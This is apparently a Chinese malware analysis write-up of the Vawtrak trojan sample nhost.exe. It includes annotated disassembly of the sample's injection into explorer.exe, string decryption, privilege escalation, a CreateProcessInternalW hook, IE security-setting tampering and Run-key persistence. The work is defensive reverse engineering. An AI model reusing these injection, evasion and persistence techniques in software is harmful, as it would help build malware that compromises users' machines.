一、样本信息
文件名称:nhost.exe
MD5:8a8084a45b41049718de211373f7f19c
SHA-1:acd2f22a609f619aa5da840ca4e5b0f76a5c4906
文件大小:187kb
二、样本简介和运作流程
木马样本来自卡饭论坛。Vawtrack是集注入,远控,提权,anti-av等多功能为一体的木马。该木马结构复杂,分工相当精心,利用多线程运作以及多次注入来实现远控功能。Vawtrack的危害性极大,由于其功能全面被各大杀软作为重要查杀目标。微软和趋势科技也对Vawtrack的危害进行深入分析(http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_VAWTRAK.PIC 趋势科技谈Vawtrak的威力,http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Backdoor%3aWin32%2fVawtrak.A#tab=2 微软谈Vawtrack的危害)。除了功能众多之外,该木马运用了一些较为高超的技术,例如全局钩子。下图是Vawtrack运作流程图。
样本程序以树状结构执行,通过多次注入选择性的执行部分功能,将所有功能分散于各个被注入进程中执行,这也是该样本的亮点。
三.样本行为具体分析
(1)程序藏身于白文件中,通过“白加黑”的方式躲过杀软检测。在代码中,恶意代码使用原程序作为加载器,先申请一段空间,并将解密后的代码写入此区域,然后通过“call 寄存器”的方式跳转到该区域执行恶意代码。恶意代码执行完后回到主程序中。可以说,恶意代码是以“运行时构造”的函数的形式出现,而不是以PE文件出现。在原程序运行的过程中,恶意代码进行自解压,然后原程序调用解压完后的“恶意函数”来执行恶意功能。代码如下所示。
[Asm] 纯文本查看 复制代码 004062CC |. 8BB5 3432FBFF mov esi,[local.78707]
004062D2 |. FFD6 call esi ;进入恶意代码
004062D4 |> 33C0 xor eax,eax
004062D6 |. 399D 0032FBFF cmp [local.78720],ebx
004062DC |. 7E 1E jle short nhost.004062FC
004062DE |> 3B05 C0994200 /cmp eax,dword ptr ds:[0x4299C0]
004062E4 |. 7E 0D |jle short nhost.004062F3
004062E6 |. 8B8C85 2830FB>|mov ecx,dword ptr ss:[ebp+eax*4-0x4CFD8>
004062ED |. 890D C4994200 |mov dword ptr ds:[0x4299C4],ecx
004062F3 |> 40 |inc eax
004062F4 |. 3B85 0032FBFF |cmp eax,[local.78720]
004062FA |.^ 7C E2 \jl short nhost.004062DE
004062FC |> 8B35 5C734000 mov esi,dword ptr ds:[<&USER32.GetMessag>; user32.GetMessageW
00406302 |. EB 1A jmp short nhost.0040631E
00406304 |> 8D85 082EFBFF /lea eax,[local.78974] ;返回执行正常功能
0040630A |. 50 |push eax ; /pMsg = MSG(0x934D50) hw = 400000 wParam = 0x0 lParam = 0x0
0040630B |. FF15 78724000 |call dword ptr ds:[<&USER32.TranslateMe>; \TranslateMessage
00406311 |. 8D85 082EFBFF |lea eax,[local.78974]
00406317 |. 50 |push eax ; /pMsg = MSG(0x934D50) hw = 400000 wParam = 0x0 lParam = 0x0
00406318 |. FF15 60734000 |call dword ptr ds:[<&USER32.DispatchMes>; \DispatchMessageW
(2)在恶意代码部分,通过相当繁琐的加解密来获取需要使用的dll和API,通过这样动态获取API的方式能够躲避杀软对导入表的检测,让杀软无从得知程序使用了哪些API。除此之外,代码通过另外的解密方式解密出将要被注入的代码(关于解密就不在这里赘述了),然后通过WriteProcessMemory这个API将代码注入到explorer.exe中,这也是一种最为常见的注入方式,最后在explorer.exe中创建远程线程,将主要功能转交explorer.exe进行执行。代码如下所示。该部分的亮点在于API的获取方式。
[Asm] 纯文本查看 复制代码 0006B43A FF75 08 push dword ptr ss:[ebp+0x8] ;0x5BC,explorer.exe的PID
0006B43D 6A 00 push 0x0
0006B43F 68 3A040000 push 0x43A ;Access = CREATE_THREAD|VM_OPERATION|VM_READ|VM_WRITE|QUERY_INFORMATION
0006B444 FF15 D8210700 call dword ptr ds:[0x721D8] ; kernel32.OpenProcess ;打开explorer.exe进程
[Asm] 纯文本查看 复制代码 00069D00 50 push eax
00069D01 FF75 18 push dword ptr ss:[ebp+0x18]
00069D04 FF75 14 push dword ptr ss:[ebp+0x14]
00069D07 FF75 0C push dword ptr ss:[ebp+0xC] ;0x2a80000注入的起始位置
00069D0A FF75 08 push dword ptr ss:[ebp+0x8] ;15C,explorer.exe的进程句柄
00069D0D FF15 C8210700 call dword ptr ds:[0x721C8] ; kernel32.WriteProcessMemory ;写入代码到内存
[Asm] 纯文本查看 复制代码 0006B92D 6A 00 push 0x0
0006B92F 6A 00 push 0x0
0006B931 FF75 18 push dword ptr ss:[ebp+0x18]
0006B934 FF75 10 push dword ptr ss:[ebp+0x10] ;0x2a80813线程起始位置
0006B937 6A 00 push 0x0
0006B939 6A 00 push 0x0
0006B93B FF75 0C push dword ptr ss:[ebp+0xC] ;15c,explorer.exe进程句柄
0006B93E FF15 E8210700 call dword ptr ds:[0x721E8] ; kernel32.CreateRemoteThread ;创建远程线程
由于OD调试explorer.exe会出现很多问题,因此我用一个自写的小程序代替explorer.exe进行调试。
(3)在注入的进程中,恶意代码先通过不断的字符串解密并通过LoadLibraryExA函数加载所需要的dll,这种动态加载的方式也是为了躲避杀软的查杀。加载完毕后,代码故技重施,一样通过“call 寄存器”的方式进入另一区域。
[Asm] 纯文本查看 复制代码 00D20F55 6A 00 push 0x0
00D20F57 6A 00 push 0x0
00D20F59 03C6 add eax,esi
00D20F5B 50 push eax
00D20F5C FF55 D8 call dword ptr ss:[ebp-0x28] ; kernel32.LoadLibraryExA
在程序中,所要使用到的字符串都是通过一串解密算法得出,得出来的字符串除了一些函数名称外,还包括参数名称,文件名,镜像内容,日志记录。通过这种方式动态生成敏感字符串其主要目的也是为了躲避杀软的查杀。解密代码如下所示。
[Asm] 纯文本查看 复制代码 00E57933 55 push ebp
00E57934 8BEC mov ebp,esp
00E57936 83EC 0C sub esp,0xC
00E57939 8B45 08 mov eax,dword ptr ss:[ebp+0x8]
00E5793C 8B00 mov eax,dword ptr ds:[eax]
00E5793E 8945 F8 mov dword ptr ss:[ebp-0x8],eax
00E57941 8B45 08 mov eax,dword ptr ss:[ebp+0x8]
00E57944 8B40 04 mov eax,dword ptr ds:[eax+0x4]
00E57947 3345 F8 xor eax,dword ptr ss:[ebp-0x8]
00E5794A C1E8 10 shr eax,0x10
00E5794D 8945 F4 mov dword ptr ss:[ebp-0xC],eax
00E57950 8B45 08 mov eax,dword ptr ss:[ebp+0x8]
00E57953 83C0 08 add eax,0x8
00E57956 8945 08 mov dword ptr ss:[ebp+0x8],eax
00E57959 8365 FC 00 and dword ptr ss:[ebp-0x4],0x0
00E5795D EB 07 jmp short 00E57966
00E5795F 8B45 FC mov eax,dword ptr ss:[ebp-0x4]
00E57962 40 inc eax
00E57963 8945 FC mov dword ptr ss:[ebp-0x4],eax
00E57966 8B45 FC mov eax,dword ptr ss:[ebp-0x4]
00E57969 3B45 F4 cmp eax,dword ptr ss:[ebp-0xC]
00E5796C 73 28 jnb short 00E57996
00E5796E 6945 F8 6D4EC64>imul eax,dword ptr ss:[ebp-0x8],0x41C64E>
00E57975 05 39300000 add eax,0x3039
00E5797A 8945 F8 mov dword ptr ss:[ebp-0x8],eax
00E5797D 8B45 08 mov eax,dword ptr ss:[ebp+0x8]
00E57980 0345 FC add eax,dword ptr ss:[ebp-0x4]
00E57983 0FB600 movzx eax,byte ptr ds:[eax]
00E57986 0FB64D F8 movzx ecx,byte ptr ss:[ebp-0x8]
00E5798A 2BC1 sub eax,ecx
00E5798C 8B4D 0C mov ecx,dword ptr ss:[ebp+0xC]
00E5798F 034D FC add ecx,dword ptr ss:[ebp-0x4]
00E57992 8801 mov byte ptr ds:[ecx],al
00E57994 ^ EB C9 jmp short 00E5795F
00E57996 8B45 F4 mov eax,dword ptr ss:[ebp-0xC]
00E57999 8BE5 mov esp,ebp
00E5799B 5D pop ebp ; 00E52D5B
00E5799C C3 retn
通过解密后得到的字符串可构建一组事件名称,用于过后创建事件所用。如下图所示。
接着程序遍历ACL访问控制机列表并检查进程访问权限,将安全描述符转化为字符串进行操作(具体详见http://www.freebuf.com/articles/4546.html)。代码如下所示。
[Asm] 纯文本查看 复制代码 00E5AE9C 6A 00 push 0x0
00E5AE9E 68 A413E600 push 0xE613A4
00E5AEA3 6A 01 push 0x1
00E5AEA5 68 5438E600 push 0xE63854 ; ASCII "D:(A;OICI;GA;;;WD)"
00E5AEAA FF15 2C20E600 call dword ptr ds:[0xE6202C] ; advapi32.ConvertStringSecurityDescriptorToSecurityDescriptorA
在进行完一系列准备工作之后,程序通过CreateEvent函数创建一个事件用于接下来的操作,事件的安全标识符以及事件名就是从之前操作中获取的。
[Asm] 纯文本查看 复制代码 00E530A1 50 push eax ;EventName = "{47BF63FE-0420-475F-A5AF-6275CE3ADA7B}"
00E530A2 6A 00 push 0x0
00E530A4 6A 00 push 0x0
00E530A6 E8 B47D0000 call 00E5AE5F ;获取安全标识符字符串
00E530AB 50 push eax ;将上个函数获取的安全标识符压栈作为event的安全标识符
00E530AC FF15 1C21E600 call dword ptr ds:[0xE6211C] ; kernel32.CreateEventA
紧接着程序又创建线程把其他功能移交给新线程执行。在新线程中,程序会判断自身是否为iexplore.exe,firefox.exe,chrome.exe,explorer.exe来判断是否注入成功,同时,这也防止病毒分析人员用其他进程模拟注入来进行分析(所以我把自写小程序名称改为explorer.exe)。
[Asm] 纯文本查看 复制代码 00E59E50 FF75 08 push dword ptr ss:[ebp+0x8]
00E59E53 FF15 5422E600 call dword ptr ds:[0xE62254] ; shlwapi.PathFindFileNameW
00E59E59 8945 08 mov dword ptr ss:[ebp+0x8],eax
00E59E5C 837D 08 00 cmp dword ptr ss:[ebp+0x8],0x0
00E59E60 75 05 jnz short 00E59E67
00E59E62 6A 05 push 0x5
00E59E64 58 pop eax ; 0103FDA2
00E59E65 EB 64 jmp short 00E59ECB
00E59E67 68 BC37E600 push 0xE637BC ; UNICODE "iexplore.exe"
00E59E6C FF75 08 push dword ptr ss:[ebp+0x8]
00E59E6F FF15 C021E600 call dword ptr ds:[0xE621C0] ; kernel32.lstrcmpiW
00E59E75 85C0 test eax,eax
00E59E77 75 07 jnz short 00E59E80
00E59E79 6A 02 push 0x2
00E59E7B 58 pop eax ; 0103FDA2
00E59E7C EB 4D jmp short 00E59ECB
00E59E7E EB 48 jmp short 00E59EC8
00E59E80 68 D837E600 push 0xE637D8 ; UNICODE "firefox.exe"
00E59E85 FF75 08 push dword ptr ss:[ebp+0x8]
00E59E88 FF15 C021E600 call dword ptr ds:[0xE621C0] ; kernel32.lstrcmpiW
00E59E8E 85C0 test eax,eax
00E59E90 75 07 jnz short 00E59E99
00E59E92 33C0 xor eax,eax
00E59E94 40 inc eax
00E59E95 EB 34 jmp short 00E59ECB
00E59E97 EB 2F jmp short 00E59EC8
00E59E99 68 F037E600 push 0xE637F0 ; UNICODE "explorer.exe"
00E59E9E FF75 08 push dword ptr ss:[ebp+0x8]
00E59EA1 FF15 C021E600 call dword ptr ds:[0xE621C0] ; kernel32.lstrcmpiW
00E59EA7 85C0 test eax,eax
00E59EA9 75 06 jnz short 00E59EB1
00E59EAB 33C0 xor eax,eax
00E59EAD EB 1C jmp short 00E59ECB
00E59EAF EB 17 jmp short 00E59EC8
00E59EB1 68 0C38E600 push 0xE6380C ; UNICODE "chrome.exe"
00E59EB6 FF75 08 push dword ptr ss:[ebp+0x8]
00E59EB9 FF15 C021E600 call dword ptr ds:[0xE621C0] ; kernel32.lstrcmpiW
然后以自身为起点遍历进程,如果进程名称与欲注入目标名称相同则进行下一步注入工作。在这部分程序总共注入 多个进程,有360tray.exe,QQ.exe,conime.exe,crossfire.exe,ctfmon.exe,default.exe,dnf.exe,explorer.exe,ksafetray.exe,zhudongfangyu.exe。可以看出,程序主要用于对游戏进程进行注入以及对杀软进行注入。值得一提的是,这些进程名也是通过之前的算法进行获取的。
[Asm] 纯文本查看 复制代码 00E59F78 FF15 E020E600 call dword ptr ds:[0xE620E0] ; kernel32.GetCurrentProcessId
00E59F7E 8945 F4 mov dword ptr ss:[ebp-0xC],eax
00E59F81 6A 00 push 0x0
00E59F83 6A 02 push 0x2
00E59F85 FF15 C421E600 call dword ptr ds:[0xE621C4] ; kernel32.CreateToolhelp32Snapshot,创建进程快照,用于遍历进程
00E59F8B 8945 FC mov dword ptr ss:[ebp-0x4],eax
00E59F8E 837D FC FF cmp dword ptr ss:[ebp-0x4],-0x1
00E59F92 75 07 jnz short 00E59F9B
00E59F94 33C0 xor eax,eax
00E59F96 E9 9A000000 jmp 00E5A035
00E59F9B C785 C8FEFFFF 2>mov dword ptr ss:[ebp-0x138],0x128
00E59FA5 8D85 C8FEFFFF lea eax,dword ptr ss:[ebp-0x138]
00E59FAB 50 push eax
00E59FAC FF75 FC push dword ptr ss:[ebp-0x4]
00E59FAF FF15 AC21E600 call dword ptr ds:[0xE621AC] ; kernel32.Process32First
00E59FB5 8945 F8 mov dword ptr ss:[ebp-0x8],eax
00E59FB8 837D F8 00 cmp dword ptr ss:[ebp-0x8],0x0
00E59FBC 75 0D jnz short 00E59FCB
00E59FBE FF75 FC push dword ptr ss:[ebp-0x4]
00E59FC1 FF15 1021E600 call dword ptr ds:[0xE62110] ; kernel32.CloseHandle
00E59FC7 33C0 xor eax,eax
00E59FC9 EB 6A jmp short 00E5A035
00E59FCB 83BD D0FEFFFF 0>cmp dword ptr ss:[ebp-0x130],0x0
00E59FD2 74 38 je short 00E5A00C
00E59FD4 83BD D0FEFFFF 0>cmp dword ptr ss:[ebp-0x130],0x4
00E59FDB 74 2F je short 00E5A00C
00E59FDD 8B85 D0FEFFFF mov eax,dword ptr ss:[ebp-0x130]
00E59FE3 3B45 F4 cmp eax,dword ptr ss:[ebp-0xC]
00E59FE6 74 24 je short 00E5A00C
00E59FE8 FF75 0C push dword ptr ss:[ebp+0xC]
00E59FEB 8D85 ECFEFFFF lea eax,dword ptr ss:[ebp-0x114]
00E59FF1 50 push eax
00E59FF2 FFB5 E0FEFFFF push dword ptr ss:[ebp-0x120]
00E59FF8 FFB5 D0FEFFFF push dword ptr ss:[ebp-0x130]
00E59FFE FF55 08 call dword ptr ss:[ebp+0x8]
00E5A001 8945 F0 mov dword ptr ss:[ebp-0x10],eax
00E5A004 837D F0 00 cmp dword ptr ss:[ebp-0x10],0x0
00E5A008 75 02 jnz short 00E5A00C
00E5A00A EB 1D jmp short 00E5A029
00E5A00C 8D85 C8FEFFFF lea eax,dword ptr ss:[ebp-0x138]
00E5A012 50 push eax
00E5A013 FF75 FC push dword ptr ss:[ebp-0x4]
00E5A016 FF15 BC21E600 call dword ptr ds:[0xE621BC] ; kernel32.Process32Next,查找下一进程
然后,程序对自身进行提权,提升的权限有SeCreateGlobalPriviege,SeShutdownPrivilege,SeDebugPrivilege。这些权限参数也是通过之前的解密算法进行解密所得。提权部分代码如下。
[Asm] 纯文本查看 复制代码 00E5AEC7 FF15 5421E600 call dword ptr ds:[0xE62154] ; kernel32.GetCurrentProcess
00E5AECD 50 push eax
00E5AECE FF15 1020E600 call dword ptr ds:[0xE62010] ; advapi32.OpenProcessToken
00E5AED4 8945 FC mov dword ptr ss:[ebp-0x4],eax
00E5AED7 837D FC 00 cmp dword ptr ss:[ebp-0x4],0x0
00E5AEDB 75 04 jnz short 00E5AEE1
00E5AEDD 33C0 xor eax,eax
00E5AEDF EB 58 jmp short 00E5AF39
00E5AEE1 6A 0C push 0xC
00E5AEE3 58 pop eax
00E5AEE4 6BC0 00 imul eax,eax,0x0
00E5AEE7 8D4405 EC lea eax,dword ptr ss:[ebp+eax-0x14]
00E5AEEB 50 push eax
00E5AEEC FF75 08 push dword ptr ss:[ebp+0x8]
00E5AEEF 6A 00 push 0x0
00E5AEF1 FF15 2820E600 call dword ptr ds:[0xE62028] ; advapi32.LookupPrivilegeValueA
00E5AEF7 8945 FC mov dword ptr ss:[ebp-0x4],eax
00E5AEFA 837D FC 00 cmp dword ptr ss:[ebp-0x4],0x0
00E5AEFE 74 2D je short 00E5AF2D
00E5AF00 C745 E8 0100000>mov dword ptr ss:[ebp-0x18],0x1
00E5AF07 6A 0C push 0xC
00E5AF09 58 pop eax
00E5AF0A 6BC0 00 imul eax,eax,0x0
00E5AF0D C74405 F4 02000>mov dword ptr ss:[ebp+eax-0xC],0x2
00E5AF15 6A 00 push 0x0
00E5AF17 6A 00 push 0x0
00E5AF19 6A 00 push 0x0
00E5AF1B 8D45 E8 lea eax,dword ptr ss:[ebp-0x18]
00E5AF1E 50 push eax
00E5AF1F 6A 00 push 0x0
00E5AF21 FF75 F8 push dword ptr ss:[ebp-0x8]
00E5AF24 FF15 3020E600 call dword ptr ds:[0xE62030] ; advapi32.AdjustTokenPrivileges
紧接着程序动态加载“CreateProcessInternalW"函数的地址,进行全局hook。由于explorer.exe是所有进程的父进程,当在explorer.exe下hook掉CreateProcess函数时,计算机所有进程启动时调用的CreateProcess函数也会被hook。而CreateProcess函数下调用了CreateProcessInternalA/W函数,因此在explorer.exe下hook该函数后,一但有程序运行时,就会执行被hook的部分,这叫做高级的全局hook(详见李承远《逆向工程核心原理》。下图展示hook前和hook后CreateProcessInternalW函数头部的差别。
可见,函数跳到了00e536bc,然后在回到该函数。跟进该地址可以发现进行了获取当前进程ID的操作,这也方便黑客得知用户此时此刻正在打开哪个进程。一但用户打开某个进程时,被hook的CreateProcessInternalW函数就会获取进程ID号。
接着,程序创建内存映射文件,通过接下去的一些操作可以发现,此内存映像用来处理一些存储的系统日志。
[Asm] 纯文本查看 复制代码 00E5AC5A FF70 04 push dword ptr ds:[eax+0x4]
00E5AC5D 68 00000100 push 0x10000 ; UNICODE "=::=::\"
00E5AC62 6A 00 push 0x0
00E5AC64 6A 40 push 0x40
00E5AC66 E8 F4010000 call 00E5AE5F
00E5AC6B 50 push eax
00E5AC6C 6A 00 push 0x0
00E5AC6E FF15 4021E600 call dword ptr ds:[0xE62140] ; kernel32.CreateFileMappingA
然后,程序向注册表写入一些值。根据这些值的特性可以推断是用于暂存事件名称或者是一些文件名。代码如下所示。
[Asm] 纯文本查看 复制代码 00E594E0 FF75 1C push dword ptr ss:[ebp+0x1C]
00E594E3 6A 00 push 0x0
00E594E5 6A 00 push 0x0
00E594E7 FF75 14 push dword ptr ss:[ebp+0x14] ;Value="mkif",疑似文件名
00E594EA FF75 10 push dword ptr ss:[ebp+0x10] ;SubKey = "SOFTWARE\{EBFF8E54-FD01-4EF2-9F42-3BC024FD183E}"
00E594ED FF75 0C push dword ptr ss:[ebp+0xC] ;hKey = HKEY_CURRENT_USER
00E594F0 FF15 6422E600 call dword ptr ds:[0xE62264] ; shlwapi.SHGetValueA
接着获取系统时间和进程ID并构造特殊字符串存放于内存镜像中,具体作用接下去将会详述。代码如下所示。
[Asm] 纯文本查看 复制代码 00E5AD0F 8D45 E4 lea eax,dword ptr ss:[ebp-0x1C]
00E5AD12 50 push eax
00E5AD13 FF15 D421E600 call dword ptr ds:[0xE621D4] ; kernel32.GetLocalTime,获取系统时间
00E5AD19 0FB745 F0 movzx eax,word ptr ss:[ebp-0x10]
00E5AD1D 50 push eax
00E5AD1E 0FB745 EE movzx eax,word ptr ss:[ebp-0x12]
00E5AD22 50 push eax
00E5AD23 0FB745 EC movzx eax,word ptr ss:[ebp-0x14]
00E5AD27 50 push eax
00E5AD28 FF15 E020E600 call dword ptr ds:[0xE620E0] ; kernel32.GetCurrentProcessId,获取进程id
00E5AD2E 50 push eax
00E5AD2F 68 2438E600 push 0xE63824 ; ASCII "PID: %u [%0.2u:%0.2u:%0.2u] "
00E5AD34 FF75 FC push dword ptr ss:[ebp-0x4]
00E5AD37 FF15 7822E600 call dword ptr ds:[0xE62278] ; user32.wsprintfA
执行完这一部分功能后,程序会创建新线程来执行另一部分功能。值得注意的是,新线程的函数地址和原线程相同,内容也几乎一样,只是在某些地方会执行跳转来执行其他功能。可见,作者精心构造线程运作方式,从而使得一段线程代码可以以分支结构执行不同功能。而在执行进程代码之前,程序在指定文件夹内创建文件夹。可以看出,进程功能的选择很有可能是根据在指定文件夹内存在指定文件夹来进行判断。而文件夹的名称同样通过特定解密算法得出。
[Asm] 纯文本查看 复制代码 00E598F4 51 push ecx ; kernel32.7C834DA1
00E598F5 6A 00 push 0x0
00E598F7 68 80000000 push 0x80
00E598FC 6A 03 push 0x3
00E598FE 6A 00 push 0x0
00E59900 6A 03 push 0x3
00E59902 68 00000080 push 0x80000000
00E59907 FF75 08 push dword ptr ss:[ebp+0x8] ;FileName = "C:\Documents and Settings\Administrator\Application Data\Kinekg\WuqUxhu" FileName = "C:\Documents and Settings\Administrator\Application Data\Kinekg\Seqiz"
00E5990A FF15 0C22E600 call dword ptr ds:[0xE6220C] ; kernel32.CreateFileA
在新线程中,程序设置了ie主功能键值,关闭ie保护模式,导致修改安全设置时不会弹出警告框。这么做的目的是为了下一步修改安全设置做准备。代码如下所示。
[Asm] 纯文本查看 复制代码 00E591F2 51 push ecx
00E591F3 51 push ecx
00E591F4 8D45 F8 lea eax,dword ptr ss:[ebp-0x8]
00E591F7 50 push eax
00E591F8 FF75 0C push dword ptr ss:[ebp+0xC] ;Subkey = "Software\Microsoft\Internet Explorer\Main"
00E591FB FF75 08 push dword ptr ss:[ebp+0x8] ;hKey = HKEY_CURRENT_USER
00E591FE FF15 1C20E600 call dword ptr ds:[0xE6201C] ; advapi32.RegCreateKeyA
[Asm] 纯文本查看 复制代码 00E5922A 50 push eax
00E5922B 6A 04 push 0x4
00E5922D 6A 00 push 0x0
00E5922F FF75 0C push dword ptr ss:[ebp+0xC] ;ValueName = "NoProtectedModeBanner",关闭保护模式
00E59232 FF75 08 push dword ptr ss:[ebp+0x8]
00E59235 FF15 1420E600 call dword ptr ds:[0xE62014] ; advapi32.RegSetValueExA
同样设置了ie主功能键值,使得ie只能打开一个进程,目的是注入时能够更加准确。这部分要求ie关闭安全设置,因此上段代码就是为这部分做准备工作。代码如下。
[Asm] 纯文本查看 复制代码 00E5922A 50 push eax ;设置键值为0
00E5922B 6A 04 push 0x4
00E5922D 6A 00 push 0x0
00E5922F FF75 0C push dword ptr ss:[ebp+0xC] ;ValueName = "TabProcGrowth"
00E59232 FF75 08 push dword ptr ss:[ebp+0x8]
00E59235 FF15 1420E600 call dword ptr ds:[0xE62014] ; advapi32.RegSetValueExA
打开ie的zones键值,并设其值为2500,开启保护模式,使ie还原到最初状态不被发现。
[Asm] 纯文本查看 复制代码 00E591F7 50 push eax
00E591F8 FF75 0C push dword ptr ss:[ebp+0xC] ;Subkey = "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3"
00E591FB FF75 08 push dword ptr ss:[ebp+0x8]
00E591FE FF15 1C20E600 call dword ptr ds:[0xE6201C] ; advapi32.RegCreateKeyA
然后程序将自身复制到指定文件夹指定文件,创建开机启动项,启动的不是程序自身,而是程序的复制体,最后删除自身。至此,该部分功能结束。
[Asm] 纯文本查看 复制代码 00E59356 50 push eax
00E59357 68 19000200 push 0x20019
00E5935C 6A 00 push 0x0
00E5935E FF75 0C push dword ptr ss:[ebp+0xC] ; "Software\Microsoft\Windows\CurrentVersion\Run"
00E59361 FF75 08 push dword ptr ss:[ebp+0x8]
00E59364 FF15 2420E600 call dword ptr ds:[0xE62024] ; advapi32.RegOpenKeyExA
(4)在第三步中程序注入了一些其他程序,现在将对这些程序进行分析。同样为了防止OD出错,我用自己写的一些小软件代替ie作为被注入体。在进入新进程后发现新进程与旧的进程功能相差无几。不过通过对新注入的进程和之前进程的比较可以发现一些不同。在程序对映像文件写入的数据部分可以发现,之前注入explore.exe时,写入的数据如下。
而注入伪装的ie时写入的数据如下。
由此可以推断,木马对系统运行日志进行记录,当explore.exe启动时,也就是总父进程启动时则记录shell start,当ie启动时则记录browser启动。由于之前通过全局hook使得所有程序都会被执行注入操作,因此系统每一个举动将会受到监视。通过中文搜索引擎可以发现一些网络相关的字符。
进入程序搜索果然发现相关代码,不过可能是程序只会在特定时间上传系统日志因此无法捕捉到联网行为。
[Asm] 纯文本查看 复制代码 00E57ED4 68 00000001 push 0x1000000
00E57ED9 6A FF push -0x1
00E57EDB 68 B036E600 push 0xE636B0 ; Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
00E57EE0 FF75 E0 push dword ptr ss:[ebp-0x20]
00E57EE3 FF15 9422E600 call dword ptr ds:[0xE62294] ; wininet.HttpAddRequestHeadersA
00E57EE9 68 00000001 push 0x1000000
00E57EEE 6A FF push -0x1
00E57EF0 68 F836E600 push 0xE636F8 ; Accept-Language: en-US;q=0.5,en;q=0.3
00E57EF5 FF75 E0 push dword ptr ss:[ebp-0x20]
00E57EF8 FF15 9422E600 call dword ptr ds:[0xE62294] ; wininet.HttpAddRequestHeadersA
00E57EFE C745 FC 0100000>mov dword ptr ss:[ebp-0x4],0x1
00E57F05 6A 04 push 0x4
00E57F07 8D45 FC lea eax,dword ptr ss:[ebp-0x4]
00E57F0A 50 push eax
00E57F0B 6A 41 push 0x41
00E57F0D FF75 E0 push dword ptr ss:[ebp-0x20]
00E57F10 FF15 B022E600 call dword ptr ds:[0xE622B0] ; wininet.InternetSetOptionA
00E57F16 68 00000001 push 0x1000000
00E57F1B 6A FF push -0x1
00E57F1D 68 2037E600 push 0xE63720 ; Accept-Encoding: gzip, deflate
00E57F22 FF75 E0 push dword ptr ss:[ebp-0x20]
00E57F25 FF15 9422E600 call dword ptr ds:[0xE62294] ; wininet.HttpAddRequestHeadersA
三、总结
Vawtrack功能强大而且复杂,对手动分析来说是个蛮大的挑战,在这里也要感谢提供样本的卡饭论坛http://bbs.kafan.cn/thread-1863602-1-1.html。对于这类顽固的远控木马,还是不要轻易双击尝试,当感染此木马时可以通过一些主流杀软进行查杀。
|